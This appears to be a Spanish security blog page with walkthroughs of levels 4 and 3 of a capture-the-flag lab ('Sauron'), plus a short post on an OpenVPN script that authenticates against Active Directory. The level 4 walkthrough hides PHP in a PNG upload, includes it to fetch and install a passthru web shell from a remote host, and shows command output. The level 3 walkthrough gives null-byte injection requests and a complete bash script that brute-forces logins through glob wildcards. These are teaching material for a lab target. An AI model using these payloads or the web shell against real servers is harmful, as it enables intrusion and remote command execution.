SecGame #1: Sauron - Resolución Nivel 4

Saludos a todos,

esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.




Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:
  • Información sobre el sistema
  • Administración de MySQL mediante MySQL Admin
  • Visualización de Estadísticas
  • Cambio de parámetros

Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.

Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.

No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.

Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección "Cambio de parámetros" la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.

Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:
  • Únicamente permite ficheros con extensión PNG
  • El tamaño del fichero está limitado a 8KB
  • El contenido del fichero debe corresponder con una imagen PNG
Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.

Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:

$ cat >> img.png

<? phpinfo(); ?>


Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.

¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:

<? header("Content-Type: image/png"); readfile("01.png"); ?>

Por tanto, nuestro fichero subido sabemos que se llama "01.png" y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:

Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.

El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:

<? copy(“http://ip/shell.txt”,”shell.php”); ?>

Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.

El contenido de shell.txt puede ser el siguiente:

<?

header(“Content-Type: text/plain”);

passthru($_GET[“cmd”);

?>


El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable "cmd". De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php

Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:

<? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?>

Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x

Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:

http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux

http://www.blindware.inc/_controlp/shell.php?cmd=id
uid=500(blindware) gid=500(blindware) groups=500(blindware)


Hasta aquí ha llegado este 4º nivel, en el que hemos avanzado de nuevo hasta conseguir ejecutar comandos en el servidor. Os esperamos dentro de 15 días con el siguiente nivel.

OpenVPN-AD: Autenticación en Active Directory

OpenVPN es una de las herramientas más utilizadas para la creación y gestión de redes privadas virtuales debido a cuatro factores principalmente: facilidad de instalación y uso, fiabilidad, multiplataforma (es posible su instalación en distintos sistemas operativos) y ser opensource.

Cuando un cliente intenta realizar una conexión con un servidor OpenVPN, este último debe autenticar y validar de alguna manera a dichos usuarios. Para ello, OpenVPN provee dos mecanismos distintos:
  • En base a certificados digitales (incorpora la herramienta openssl para la creación de certificados)
  • Mediante usuario y contraseña

Para el caso que nos ocupa, nos vamos a centrar en la autenticación con usuario y contraseña. Mediante este mecanismo, que puede ser alternativo o completentario al uso de certificados digitales, el cliente demanda al usuario dicha información y la envía al servidor para su validación.

Dicho proceso de envío por parte del cliente al servidor se puede realizar de dos maneras distintas, dependiendo de la configuración del servidor:
  • Mediante variables de entorno
  • A través de un fichero temporal

El servidor, una vez que recoge el nombre del usuario y la contraseña, ejecuta un script para validar la información y autorizar la conexión por parte del cliente. Existen diferentes scripts para poder realizar dicho proceso en Linux, pero no hemos encontrado ninguno que contraste los datos de usuario con Active Directory, así que nos hemos puesto manos a la obra.

En primer lugar, hay que configurar el cliente y el servidor de manera que realicen este tipo de proceso de validación. En el fichero de configuración del cliente hay que introducir la línea "auth-user-pass" para que el cliente pida al usuario que proporciones su usuario y contraseña. En el fichero de configuración del servidor hay que insertar la línea "auth-user-pass-verify script via-file" donde script es el nombre del script, y via-file es el método de envío de los datos por parte del cliente. Para este caso en concreto se enviará dentro de un fichero.

El script en cuestión puede ser escrito en varios lenguajes, aunque los más cómodos para ello son perl y python. Nosotros hemos elegido este último por familiaridad.

Al principio del fichero están definidas una serie de variables, como pueden ser la dirección del controlador de dominio, la ruta de directorio que hay que modificar y algunas otras, que hay que adaptar y modificar para que se amolden a los diferentes entornos. Entre todas estas variables hay una, grupovpn, que requiere una explicación.

Para poder diferenciar los usuarios privilegiados que se pueden conectar a través de una vpn de los que no, hemos enfocado el script de manera que busque en un grupo existente en el sistema a los usuarios a los que se les permite el acceso externo mediante este mecanismo. De ahí que existan una variable en el script que contenga el grupo donde se encuentran dichos usuarios. De esta forma, cuando un usuario conecta, primero se valida que el usuario sea un usuario válido del dominio y después, que dicho usuario se encuentre dentro del grupo de usuarios de vpn.

Contenidos Descargables

SecGame #1: Sauron - Resolución Nivel 3

Saludos nuevamente,

esperamos que aquellos que van siguiendo estas resoluciones e intentando completar los niveles semanalmente, hayan conseguido desentrañar el reto tras este tercer nivel, o al menos se hayan aproximado mucho. El planteamiento para resolverlo hemos de admitir que no es tan trivial como los anterioresl, quizá junto con el último reto, sean los únicos donde el ingenio debe primar por encima de los conocimientos técnicos, aunque estos también deben de existir. Sin más, vamos con la resolución, que esperamos sea del agrado de todos. Decir que la resolución se hará sobre el nivel de complejidad básico, pues aún siendo más fácil de resolver, presenta fallos más ricos y mucho más instructivos que el modo de complejidad elevado. La resolución, aunque similar es cierto que tiene algunas divergencias. Para todos aquellos que estén jugando el modo complejo, si necesitan alguna indicación pueden ponerse en contacto con nosotros por email.

Hasta este nivel 3 habíamos estado buceando en un aplicativo externo, y estático. Encontrar el directorio /_controlp/, supone haber encontrado un punto donde podemos insertar información en la lógica del aplicativo. Siempre que nos encontremos en esta situación lo recomendable es chequear qué sucede adulterando los parámetros proporcionados por el usuario en busca de una malformación que nos muestre mensajes de error, o que cambie el comportamiento esperado y habitual.

Para ello, esta ocasión en vez de hacerlo manualmente, y con el fin de aumentar lo didáctico de la explotación, vamos a usar un Fuzzer, en este caso JBroFuzz v0.6, aunque cada cual puede usar el que guste, o prefiera. ¿Cuál es el cometido de un Fuzzer?. Básicamente probar una combinación de parámetros sobre las entradas que seleccionemos, para proporcionarnos todas las salidas que esa información produce, de tal forma que no tengamos que estar verificando a mano, cada una de las posibles entradas del aplicativo, en busca de los citados comportamientos anómalos.

En nuestro caso el PATH sobre el que realizaremos el fuzzing, será:

  • /_controlp/login.php?login=test&password=test&select=grey

Concretamente sobre las variables “login”, “password” y “select”, a las cuales someteremos a pruebas de SQL Injection y XSS Scripting, lo cual originará aproximadamente unas 71 peticiones diferentes para estos contenidos.


Es momento para hacer un paréntesis. Los fuzzers, son tan productivos, o tan improductivos, como “oculto” esté el fallo de seguridad que queremos revelar. En caso de ser fallos complejos de ver, el fuzzer, por lo sistemático de su funcionamiento, nos será de ayuda. En el caso de ser errores fácilmente detectables, el fuzzer únicamente nos va a generar una cantidad ingente de información a revisar, que en el mejor de los casos nos dirá lo mismo, que podíamos haber comprobado en 10 segundos, haciéndolo a mano.

En el caso que nos ocupa, el fuzzing, no nos devuelve nada que no podamos verificar de forma manual: la variable “select” es usada para incluir un template almacenado en disco. Cambiar este valor, provoca un fallo en el acceso al template, y nos muestra una alerta de PHP. Antes de continuar aclarar una cosa, que el fuzzer únicamente haya visto ese fallo no significa que sea el único que existe. Esto siempre hay que tenerlo presente. Las herramientas, nos ayudan a auditar, pero nunca dan verdades absolutas. Veamos la alerta.

Warning: include(./test.inc) [function.include]: failed to open stream: No such file or directory in /var/www/blindware/htdocs/_controlp/login.php on line 14


Warning: include() [function.include]: Failed opening './test.inc' for inclusion (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/blindware/htdocs/_controlp/login.php on line 14


Como hemos dicho tenemos una lectura desde disco mediante la función INCLUDE de PHP. Esta función, por defecto, lee un fichero, de disco local, o de forma remota ( http, ftp, smb ) y lo interpreta como un fichero PHP procesando su contenido. En el caso que nos ocupa, está restringida al sistema de ficheros local, buscando el fichero “./” + nuestro valor + “.inc”. Es evidente que en el momento que no usamos valores por defecto “grey”, “blue” o “red” se produce un fallo al no encontrarse el fichero en el disco.

Generalmente la primera verificación ante este tipo de mensajes suele ser: ¿podemos escalar directorios?. Es decir, ¿podemos salir del directorio en el que nos encontramos haciendo uso de la cadena “../” y retrocediendo en la ruta relativa?. En este caso al comprobarlo obtenemos el siguiente mensaje:

Hacking Attemped Detected!


Your ip 192.168.200.1 are logged


En caso de que se nos permitiera hacerlo, podríamos estar ante una escalada de privilegios local. Puesto que sería posible hacer que la web incluyera, por ejemplo, un fichero en “../../../../../../../../../../../../tmp/prueba.inc”. Con lo cual conseguiríamos, si fuéramos usuarios de la máquina, modificar nuestros privilegios a los del usuario que ejecutase el script dentro del árbol web, o incluso siendo usuarios remotos, la posibilidad de mediante una condición de carrera de accerder a la máquina remotamente. Sin embargo, en el caso que nos ocupa no es así. Y únicamente podemos incluir ficheros dentro del directorio en el que se encuentra el script.

Por tanto, nuestra principal posibilidad para explotar un posible fallo de seguridad, según lo visto, depende de que podamos modificar la cadena a incluir. Pasando de ser “./nuestra_entrada.inc” a “./nuestra_entrada” y permitiéndonos incluir cualquier fichero de ese directorio.

Conseguir esta explotación efectiva depende de que la configuración de PHP permita lo que se conoce como “Null Byte Injection”. Dicho de otra forma: la injección de un byte nulo en la entrada del usuario. ¿Qué conseguimos con esto? Las cadenas, en PHP, como en otros lenguajes, se delimitan con un “\0” ( Null Byte ). De esta forma, si conseguimos introducir “nuestra_entrada\0”, la cadena quedará cortada y nos desaremos de la subcadena “.inc” que coloca el aplicativo.

La explotación de Null Byte Injections en PHP se realiza introduciendo en la cadena “% 00” al final de la entrada de usuario. Esta explotación será posible, siempre que la directiva MAGIC_QUOTES_GPC se encuentre desactivada en el fichero “php.ini”, o la cadena no sufra ningún preproceso por funciones como addslashes o urlencode. Como nota adicional, en PHP4, MAGIC_QUOTES_GPC se encontraba activo por defecto, sin embargo, en PHP5, y por motivos de rendimiento, se supone que para mejorarlo, esta directiva se encuentra desactivada en un gran número de configuraciones, quedando a merced del programador someter a las entradas de usuario a las comprobaciones pertinentes.

Ahora nos resta probar esta teoría, intentando la inclusión del fichero “login.php”. Para ello, solicitamos la siguiente url:

  • http://www.blindware.inc/_controlp/login.php?login=f&password=f&select=login.php% 00

La cual nos confirma que es posible usar null bytes, devolviendo el siguiente mensaje:

Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 14592 bytes) in /var/www/blindware/htdocs/_controlp/login.php on line 26


Este error, que puede parecer un poco críptico, y es muy diferente al anterior está motivado por un bucle de inclusión repetida, que lleva al proceso de PHP a consumir la memoria disponible para él (16MB). De esta forma confirmamos que es posible incluir otros ficheros, pero que lamentablemente no debemos incluir login.php sobre él mismo, puesto que cae en un bucle de inclusión repetida ( como por otra parte se podía preveer ).

¿Qué fichero podemos incluir entonces?. Lo más razonable, sencillo y directo es hacer la inclusión sobre el propio "index.php".

  • http://www.blindware.inc/_controlp/login.php?login=f&password=f&select=index.php% 00

Una vez hecha esta petición comprobaremos en el código fuente de la página devuelta, al principio del mismo, hemos obtenido el código PHP del fichero “index.php”.
  • <?php
    • if (isset($_GET["select"])) {
      • if (!ereg('^[^./][^/]*$',$_GET["select"])) {
        • readfile("./grey.inc");
        • include("./hacking.inc");
        • exit(-1);
      • } else {
        • $open = $_GET["select"];
        • }
    • } else {
      • $open = "grey";
      • }
    • readfile("./".$open.".inc");
    • readfile("./login.inc");
  • ?>

En negrita se ha resaltado la función que permite explotar la vulnerabilidad de lectura remota de ficheros dentro del path permitido. Si nos fijamos detenidamente la variable "$select" sufre un proceso de sanitización, en el cual se controla la inclusión de rutas como puedan ser las que contienen la '/' o el './'. Sin embargo, esta comprobación no puede chequear una inclusión de un byte nulo. Por ello, y dado que la directiva MAGIC_QUOTES_GPC está inhabilitada, se produce inclusión del fichero falicitado como parámetro a la variable "$select".

Aquí vamos a hacer un pequeño paréntesis. El código fuente del fichero "index.php" lo hemos obtenido desde él mismo mediante la función readfile vulnerable a lectura remota de ficheros que contiene. Dicho de otra forma, el fichero index.php ha sido incluido ( y por tanto procesado por PHP ) desde el fichero login.php, y dado que las funciones "include" interpretan código, jamás hubiésemos visto el código fuente, si en el fichero index.php no existiera una llamada a readfile en vez de a include.

Una vez localizado el fallo que permite la lectura remota de ficheros, debemos aprovecharlo para obtener la mayor información posible sobre el escenario, en este caso, consistirá en la lectura del código fuente localizado en el fichero login.php, permitiéndonos comprender el funcionamiento del proceso de login.

  • http://www.blindware.inc/_controlp/index.php?select=login.php% 00
  • <?php
    • if (isset($_GET["select"])) {
      • if (!ereg('^[^./][^/]*$',$_GET["select"])) {
        • include("./grey.inc");
        • include("./hacking.inc");
        • exit(-1);
      • } else {
        • $open = $_GET["select"];
        • }
    • } else {
      • $open = "grey";
      • }
    • include("./".$open.".inc");
    • if (isset($_GET["login"]) || isset($_GET["password"])) {
      • $dir = glob($_GET["login"] . "_" . $_GET["password"]);
        • if (!empty($dir)) {
          • if ($dir[0] == $_GET["login"] . "_" . $_GET["password"]) {
            • $pwd = $_GET["login"] . "_" . $_GET["password"];
            • $RPL_MYSQL = $pwd . "/myadmin/";
            • $RPL_SYSINFO = $pwd . "/phpsysinfo/";
            • $RPL_SETTINGS= $pwd . "/update/";
            • $RPL_STATS = $pwd . "/stats/";
            • include("./access.inc");
          • } else {
            • include("./hacking.inc");
            • }
        • } else {
          • include("./access-failed.inc");
          • }
          • }
  • ?>

El proceso de login, como se advertía al principio de la entrada, requiere de algo de ingenio para sobrepasarlo. A diferencia de otros procesos de login en este no existe una base de datos de usuarios central sobre la cual se haga ninguna consulta, bien sea con SQL, bien sea con LDAP. En lugar de eso, nos encontramos que los usuarios y contraseñas representan directorios del sistema con el formato "usuario_contraseña", y de esa forma, cuando un usuario elige la contraseña de forma correcta, se permite el acceso a una serie de funcionalidades mediante las variables "RPL_".

Este mecanismo de autenticación hace uso de la función
glob de PHP. Esta función, consultando directamente la ayuda ofrecida por PHP podemos concluir que hace lo siguiente: La función glob() realiza una búsqueda por todos los nombres de ruta que coincidan con patrón de acuerdo a las reglas usadas por la función glob() de la biblioteca de C, las cuales son muy similares a las reglas usadas por intérpretes de comandos comunes.

Aquí es donde tiene que entrar en juego el ingenio. La función glob acepta patrones de búsqueda de ficheros, es decir, que se puede hacer uso del conocido patrón "*". Si estamos en una suposición cierta, al introducir como usuario "*" y como contraseña "*" el sistema debe detectar la existencia de una ruta válida, puesto que el directorio "*_*" debe existir tanto en cuanto el * representa cualquier cadena de caracteres. Vamos a probarlo.

Hacking Attemped Detected!

Your ip 192.168.200.1 are logged


Bien, hemos conseguido modificar el comportamiento de la aplicación. Si nos percatamos un poco más en el código fuente que hemos conseguido leer, vemos que el autor fuerza a que el directorio encontrado por la función glob, coincida con el suministrado por el usuario, y en caso de que no sea así muestra la pantalla con el mensaje de hacking. Si lo pensamos detenidamente, esto produce una condición booleana, que permite una explotación muy similar a la de un Blind SQL Injection.

En este tipo de explotaciones lo incial es conocer cual es la longitud de los campos: en nuestro caso usuario y contraseña. Con la sintaxis de Glob lo podemos obtener mediante el carácter “?”, de tal forma, en el usuario introduciremos una interrogación ( sustituye a cualquier carácter una vez ), y en la contraseña pondremos un “*”, de esta forma, añadiendo cada vez una "?", hasta obtener el mensaje de “Hacking ...”, conoceremos la longitud del campo usuario.

Para conocer la longitud de la contraseña, procedemos de la misma forma, pero a la inversa, en el campo usuario, colocamos un “*”, y en el campo contraseña, iremos colocando “?”, hasta obtener la página de aviso de “Hacking ...”.

Una vez conocida la longitud de ambos campos, sólo tenemos que ir probando el patrón “a*_*”, “b*_*” hasta obtener el aviso de "Hacking ...", y esa será la primera letra del usuario. Luego, suponiendo que sea una a, el patrón será “aa*_*”, para una vez conocido el usuario, continuar con la password. Este proceso, lo podemos hacer de forma manual, o programar un script que lo haga por nosotros.

En este caso, hemos decidido desarrollar, buscando lo didáctico, un script, denominado blindglob que nos permite explotar este fallo, aunque dudamos seriamente de la utilidad del mismo en algún escenario ajeno al descrito. No es el código más limpio que se haya programado en bash, ni mucho menos, pero ejemplifica lo descrito en los párrafos anteriores. Para su funcionamiento necesita de la utilidad "links" y de bash.

#!/bin/bash

if [ $# -ne 2 ]
then
echo "Blindglob v0.1 BETA"
echo "-------------------"
echo "Usage: $0 url token"
echo ""
echo "<*> Tokens: _USER_ _PASS_"
echo "<*> Example: $0 http://domain/script?login=_USER_&password=_PASS_ Hacking"
exit
fi

echo "Blindglob v0.1 BETA"
echo "-------------------"
echo "<*> Working ..."

FIN="no"
STRBRUTE="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
USERLEN=0;
PASSLEN=0;

# CALCULO DE LA LONGITUD DEL CAMPO USUARIO
URLX=$(echo $1 | sed -e "s/_USER_/•/" -e "s/_PASS_/*/")
URL1=$(echo $URLX | cut -f1 -d"•")
URL2=$(echo $URLX | cut -f2 -d"•")
TOKEN="?"
until [ "$FIN" = "end" ]
do
RET=$(links -dump "$URL1$TOKEN$URL2")
if echo $RET | grep -q $2
then
FIN="end"
fi
TOKEN="$TOKEN?"
let "USERLEN=$USERLEN+1"
done
echo "<*> Longitud de usuario: $USERLEN"

# CALCULO DE LA LONGITUD DEL CAMPO PASSWORD
FIN="no"
URLX=$(echo $1 | sed -e "s/_USER_/*/" -e "s/_PASS_/•/")
URL1=$(echo $URLX | cut -f1 -d"•")
URL2=$(echo $URLX | cut -f2 -d"•")
TOKEN="?"
until [ "$FIN" = "end" ]
do
RET=$(links -dump "$URL1$TOKEN$URL2")
if echo $RET | grep -q $2
then
FIN="end"
fi
TOKEN="$TOKEN?"
let "PASSLEN=$PASSLEN+1"
done
echo "<*> Longitud de contraseña: $PASSLEN"

# CALCULO DEL USUARIO
FIN="no"
URLX=$(echo $1 | sed -e "s/_USER_/•/" -e "s/_PASS_/*/")
URL1=$(echo $URLX | cut -f1 -d"•")
URL2=$(echo $URLX | cut -f2 -d"•")
for count in $(seq 1 $USERLEN)
do
BRUTE=1
until [ "$FIN" = "end" ]
do
TOKEN=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
RET=$(links -dump "$URL1$TOKEN*$URL2")
if echo $RET | grep -q $2
then
FIN="end"
let "BRUTE=$BRUTE-1"
fi
let "BRUTE=$BRUTE+1"
done
FIN="no"
USU=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
done
echo "<*> Usuario: $USU"

# CALCULO DEL PASSWORD
FIN="no"
URLX=$(echo $1 | sed -e "s/_USER_/*/" -e "s/_PASS_/•/")
URL1=$(echo $URLX | cut -f1 -d"•")
URL2=$(echo $URLX | cut -f2 -d"•")
for count in $(seq 1 $PASSLEN)
do
BRUTE=1
until [ "$FIN" = "end" ]
do
TOKEN=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
RET=$(links -dump "$URL1$TOKEN*$URL2")
if echo $RET | grep -q $2
then
FIN="end"
let "BRUTE=$BRUTE-1"
fi
let "BRUTE=$BRUTE+1"
done
FIN="no"
PAS=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
done
echo "<*> Contraseña: $PAS"


El lanzamiento del script contra "Sauron" debe proporcionar una salida como la siguiente:

Blindglob v0.1 BETA
-------------------

<*> Working ...

<*> Longitud de usuario: 5

<*> Longitud de contraseña: 9

<*> Usuario: admin

<*> Contraseña: givemeany


De esta forma se concluye este tercer nivel habiendo superado el proceso de autenticación mediante el uso de 3 fallos combinados: la inyección de bytes nulos en cadenas, la lectura remota de ficheros, y la explotación a ciegas de la función glob.